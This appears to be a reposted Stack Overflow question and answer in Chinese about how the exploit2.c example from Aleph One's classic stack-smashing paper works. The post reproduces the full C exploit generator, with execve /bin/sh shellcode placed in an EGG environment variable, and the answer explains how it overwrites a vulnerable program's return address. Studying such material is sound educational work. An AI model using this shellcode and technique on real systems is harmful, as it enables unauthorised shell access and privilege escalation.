gpt4 book ai didi

c - 使用环境变量了解 Aleph one 的溢出

转载 作者:太空宇宙 更新时间:2023-11-03 23:25:56 24 4
gpt4 key购买 nike

我正在阅读“Smashing The Stack For Fun And Profit”,并找到了第一个使用环境变量的溢出示例:

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

Now we can try to guess what the buffer and offset should be...

现在,我了解了设置“NAME=VALUE”形式的环境变量的整体理论,正如我们在上面的代码中看到的那样,它是 EGG=OUR_SHELL_CODE。

但我不确定溢出发生在何处/何时... main 的返回地址是否被覆盖?希望地址?偏移量是怎么回事?我们试图到达什么地址?

我们为什么要找栈指针的地址?我的意思是使用 malloc() 将在 上分配内存,那么为什么我们需要堆栈 末尾的地址(使用 get_sp())?此外,溢出堆中的缓冲区不会覆盖返回地址..

为什么我们写“system(”/bin/bash”);”? (我们已经在 shellcode 中有了 bin/sh)它是以某种方式加载/执行环境变量的方式吗?

请为我(尽可能详尽)填写此漏洞利用步骤的所有空白。非常感谢! :-)

最佳答案

这是一个将创建漏洞的帮助程序。这不是易受攻击的程序,该程序恰如其分地命名为 vulnerable

此程序使用堆内存构建一个 EGG 环境变量,其中包含基于指定参数创建的漏洞。它假定易受攻击程序的堆栈指针与当前程序有些相似。 offset 用于抵消任何差异。该漏洞的大小为 bsize,它将包含 shell 代码本身,后面是 shellcode 开头的猜测地址的副本。这个尾随部分有望覆盖易受攻击程序中的返回地址,从而将控制权转移到有效载荷。

EGG 创建后,程序会为您生成一个 shell,以便您可以启动易受攻击的程序。在原文中可以看到漏洞程序是通过./vulnerable $EGG启动的。

这个漏洞生成器不是非常好的代码,但那是另一回事。

关于c - 使用环境变量了解 Aleph one 的溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27524913/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com